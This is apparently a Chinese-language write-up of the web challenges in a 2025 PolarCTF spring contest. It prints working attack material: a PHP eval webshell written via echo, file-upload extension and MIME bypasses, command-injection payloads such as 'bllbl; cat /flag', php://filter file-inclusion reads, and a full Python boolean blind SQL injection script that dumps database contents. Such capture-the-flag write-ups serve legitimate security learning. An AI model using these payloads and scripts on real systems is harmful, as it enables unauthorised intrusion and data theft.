0%

2025polarCTF春季个人挑战赛|web

前言:

比赛的时候基本ak了,差一题background没时间了,打的时候还发现了三个非预期解,最终得分4200分排第16名。感觉web的题还是偏基础的,基本上没什么难题。

投喂2.0

描述:无

考点:文件上传后缀绕过及文件头绕过

进入后先随便传个php马,用bp抓包。用点绕过后缀限制,并且添加个jpg的文件头

连接蚁剑

获取flag

这题存在非预期解用dirsearch扫目录的时候直接扫出了flag的路径

访问直接得到flag

background

描述:无

考点:rce

比赛的时候没时间了赛后自己做了一下

查看源码的时候发现有个script.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
document.getElementById("change-bg-btn").onclick = function() {
fetch("change_background.php", {
method: "POST",
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: new URLSearchParams({
d: "echo",
p: "I will do it"
})
})
.then(response => response.text())
.then(text => {
const lines = text.split('\n');
const background = lines[0];
const message = lines.slice(1).join('\n');

document.body.style.backgroundImage = `url(${background})`;
document.getElementById("result").innerText = message;

分析了一下差不多就是在change_background.php可以post传参进行命令执行

来个弹窗

描述:无

考点:xss弹窗

本题思路如下:随便弹个窗就得到flag了

根据图片要求md5加密白金之星得到flag(很炸裂)

0e事件

描述:无

考点:科学计数法

直接一个科学计数法就出来了

bllbl_rce

描述:无

考点:代码审计、strpos()

本题思路如下:审计源码,命令执行一个命令执行的地方但是执行啥命令都是no,用dirsearch扫一下目录

访问/admin/admin.php

下载源码,审计源码发现需要在命令前加上bllbl

strpos() :返回字符串在另一个字符串中第一次出现的位置

执行命令bllbl; cat /flag得到flag

coke的登陆

描述:无

考点:cookie

这题本来我看见result.php就一直在找这个文件,后面发现被误导了,密码就是cookie值

查看源代码

xCsMsD

描述:无

考点:命令执行绕过、源码审计

注册用户后登录有一个命令执行的地方ls可以查看当前目录的文件,但是没办法用目录穿越最多穿一层,并且空格和cat等命令被禁用了,就只有tac能用。查看一下当前命令执行文件的源码tac%09xss_cmd.php

可以看到-被替换为空格了,/被替换为空,\被替换为/(所以上面目录穿越失败)

获取flag tac-\..\..\flag

复读机RCE

描述:无

考点:echo写马

这题我直接非预期出来了就没细看dirsearch直接扫出flag文件

访问得到flag

赛后尝试了一下正常做法

执行什么命令都不行,只有echo可以

尝试用echo写入个一句话木马到1.php

1
echo '<?php @eval($_POST[1]);?>' >1.php

连接蚁剑

获取flag

椰子树晕淡水鱼

描述:无

考点:php伪协议、文件上传MIME类型绕过

本题思路如下:文件包含php伪协议,文件上传mime类型绕过进入后

先看提示发现藏头诗文件包含

发现用php伪协议/index.php?page=php://filter/convert.base64-encode/resource=index可以读到源码

是看了一圈没找到有用的,用dirsearch扫描一下

发现有个admin.php是admin用户登录界面并且有一个/password,访问后下载密码本的压缩包,但是被加密了用ARCHPR爆破一下密码

得到密码0606解压后得到密码本,但是现在不知道用户名,用户名不是admin用php伪协议读一下admin.php的源码得到用户名zhsh和示例密码zhsh920

用bp抓包爆破一下(但是我发现就是示例的密码,所以zip爆破这些步骤都是多此一举)

登录进去后是一个文件上传,随便传个php马

发现只能上传图片,用bp抓包,改个MIME类型就绕过了

蚁剑连接

获取flag

再给我30元

描述:无

考点:sql注入布尔盲注

进入后先用dirsearch扫描

访问/gotoURL.asp?url=google.com&id=43569是一个微信支付bp抓包爆破一下id,得到1,2,3,4个id和用户名

分别尝试一下?id=1 and 1=1?id=1 and 1=2发现存在true和false两个界面,说明是布尔盲注,直接上脚本跑。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
import requests

def ascii_str(): # 生成库名表名字符所在的字符列表字典
str_list = []
for i in range(33, 127): # 所有可显示字符
str_list.append(chr(i))
# print('可显示字符:%s'%str_list)
return str_list # 返回字符列表


def db_length(url, str):
print("[-]开始测试数据库名长度.......")
num = 1
while True:
data = url + "1 and length((select database()))=%d" % num
r = requests.get(data)
if str in r.text:
db_length = num
print("[+]数据库长度:%d\n" % db_length)
db_name(db_length) # 进行下一步,测试库名
break
else:
num += 1


def db_name(db_length):
print("[-]开始测试数据库名.......")
db_name = ''
str_list = ascii_str()
for i in range(1, db_length + 1):
for j in str_list:
db_payload = url + "1 and (ord(mid(database(),%d,1))='%s')" % (i, ord(j))
r = requests.get(db_payload)
if str in r.text:
db_name += j
# print(db_name)
break
print("[+]数据库名:%s\n" % db_name)
tb_piece(db_name) # 进行下一步,测试security数据库有几张表
return db_name


def tb_piece(db_name):
print("开始测试%s数据库有几张表........" % db_name)
for i in range(21): # 猜解库中有多少张表,合理范围即可
tb_payload = url + "1 and %d=(select count(table_name) from information_schema.tables where table_schema='%s')" % (i, db_name)
r = requests.get(tb_payload)
if str in r.text:
tb_piece = i
break
print("[+]%s库一共有%d张表\n" % (db_name, tb_piece))
tb_name(db_name, tb_piece) # 进行下一步,猜解表名


def tb_name(db_name, tb_piece):
print("[-]开始猜解表名.......")
table_list = []
for i in range(tb_piece):
str_list = ascii_str()
tb_length = 0
tb_name = ''
for j in range(1, 20): # 表名长度,合理范围即可
tb_payload = url + "1 and (select length(table_name) from information_schema.tables where table_schema=database() limit %d,1)=%d" % ( i, j)
r = requests.get(tb_payload)
if str in r.text:
tb_length = j
print("第%d张表名长度:%s" % (i + 1, tb_length))
for k in range(1, tb_length + 1): # 根据表名长度进行截取对比
for l in str_list:
tb_payload = url + "1 and (select ord(mid((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)))=%d" % ( i, k, ord(l))
r = requests.get(tb_payload)
if str in r.text:
tb_name += l
print("[+]:%s" % tb_name)
table_list.append(tb_name)
break
print("\n[+]%s库下的%s张表:%s\n" % (db_name, tb_piece, table_list))
column_num(table_list, db_name) # 进行下一步,猜解每张表的字段数


def column_num(table_list, db_name):
print("[-]开始猜解每张表的字段数:.......")
column_num_list = []
for i in table_list:
for j in range(21): # 每张表的字段数量,合理范围即可
column_payload = url + "1 and %d=(select count(column_name) from information_schema.columns where table_name='%s')" % (j, i)
r = requests.get(column_payload)
if str in r.text:
column_num = j
column_num_list.append(column_num) # 把所有表的字段,依次放入这个列表当中
print("[+]%s表\t%s个字段" % (i, column_num))
break
print("\n[+]表对应的字段数:%s\n" % column_num_list)
column_name(table_list, column_num_list, db_name) # 进行下一步,猜解每张表的字段名


def column_name(table_list, column_num_list, db_name):
print("[-]开始猜解每张表的字段名.......")
column_length = []
str_list = ascii_str()
column_name_list = []
for t in range(len(table_list)): # t在这里代表每张表的列表索引位置
print("\n[+]%s表的字段:" % table_list[t])
for i in range(column_num_list[t]): # i表示每张表的字段数量
column_name = ''
for j in range(1, 21): # j表示每个字段的长度
column_name_length = url + "1 and %d=(select length(column_name) from information_schema.columns where table_name='%s' limit %d,1)" % (j - 1, table_list[t], i)
r = requests.get(column_name_length)
if str in r.text:
column_length.append(j)
break
for k in str_list: # k表示我们猜解的字符字典
column_payload = url + "1 and ord(mid((select column_name from information_schema.columns where table_name='%s' limit %d,1),%d,1))=%d" % (table_list[t], i, j, ord(k))
r = requests.get(column_payload)
if str in r.text:
column_name += k
print('[+]:%s' % column_name)
column_name_list.append(column_name)
# print(column_name_list)#输出所有表中的字段名到一个列表中
dump_data(table_list, column_name_list, db_name) # 进行最后一步,输出指定字段的数据


def dump_data(table_list, column_name_list, db_name):
print("\n[-]对%s表的%s字段进行爆破.......\n" % (table_list[0], column_name_list[0:3]))
str_list = ascii_str()
for i in column_name_list[0:3]: # id,username,password字段
for j in range(21): # j表示有多少条数据,合理范围即可
data_num_payload = url + "1 and (select count(%s) from %s.%s)=%d" % (i, db_name, table_list[0], j)
r = requests.get(data_num_payload)
if str in r.text:
data_num = j
break
print("\n[+]%s表中的%s字段有以下%s条数据:" % (table_list[0], i, data_num))
for k in range(data_num):
data_len = 0
dump_data = ''
for l in range(1, 40): # l表示每条数据的长度,合理范围即可
data_len_payload = url + "1 and ascii(substr((select %s from %s.%s limit %d,1),%d,1))" % (i, db_name, table_list[0], k, l)
r = requests.get(data_len_payload)
if str not in r.text:
data_len = l - 1
for x in range(1, data_len + 1): # x表示每条数据的实际范围,作为mid截取的范围
for y in str_list:
data_payload = url + "1 and ord(mid((select %s from %s.%s limit %d,1),%d,1))=%d" % (i, db_name, table_list[0], k, x, ord(y))
r = requests.get(data_payload)
if str in r.text:
dump_data += y
break
break
print('[+]%s' % dump_data) # 输出每条数据


if __name__ == '__main__':
url = "http://acd77aa9-a1b0-4b97-a6c3-1469c1b49986.www.polarctf.com:8090/gotoURL.asp?id=" # 目标url
str = "<font size='5' color= '#000000'>id: 1<br>username: weelin</font><!DOCTYPE html>" # 布尔型盲注的true&false的判断因素
db_length(url, str) # 程序入口

运行完得到flag

但是提交的时候发现提交不上

问了一下管理员发现是少了一个字符,但是我已经把所有可见字符加入了,后面想到中文字符没有加入进去。随便懵了一个¥就对了(在这里卡了半天)

最后flag :

1
flag{0h_no_I_w@nt_too_many_¥30!!!}

狗黑子CTF变强之路

描述:无

考点:文件包含php伪协议、后门

进入后随便点点看这个路径感觉是文件包含,用php伪协议发现可以读到源码

读index.php的源码解码后发现有后门

蚁剑连接

得到flag

小白说收集很重要

描述:无

考点:信息搜集

本题思路如下:感觉也是个非预期,这题本来以为很复杂,登录上普通用户后模仿后台路径到admin用户的后台直接命令执行进入后先用dirsearch扫描发现几个文件

flag.php、login.php、upload_file.php没啥用,重要的是users.json,访问得到普通用户的用户名和密码

随便登陆一个

发现需要我没登录到管理员账号但是这里我感觉是个非预期解,跟任务的打法完全不同我观察到普通用户的路径为user_dashboard.php,所以直接尝试admin_dashboard.php没想到直接就进到管理员后台了命令执行得到flag

赛后我又重新做了一下,发现flag.php还是有用的

回到之前的普通用户后台生成密码本

本来用admin用户发现爆不出来,用xiaobai和zhsh也爆破不出来,尝试一下再爆破用户(我原本以为是密码本的问题试了好久)

得到管理员用户和密码

1
sysadmin/xiaobai

登录管理员后台执行命令获得flag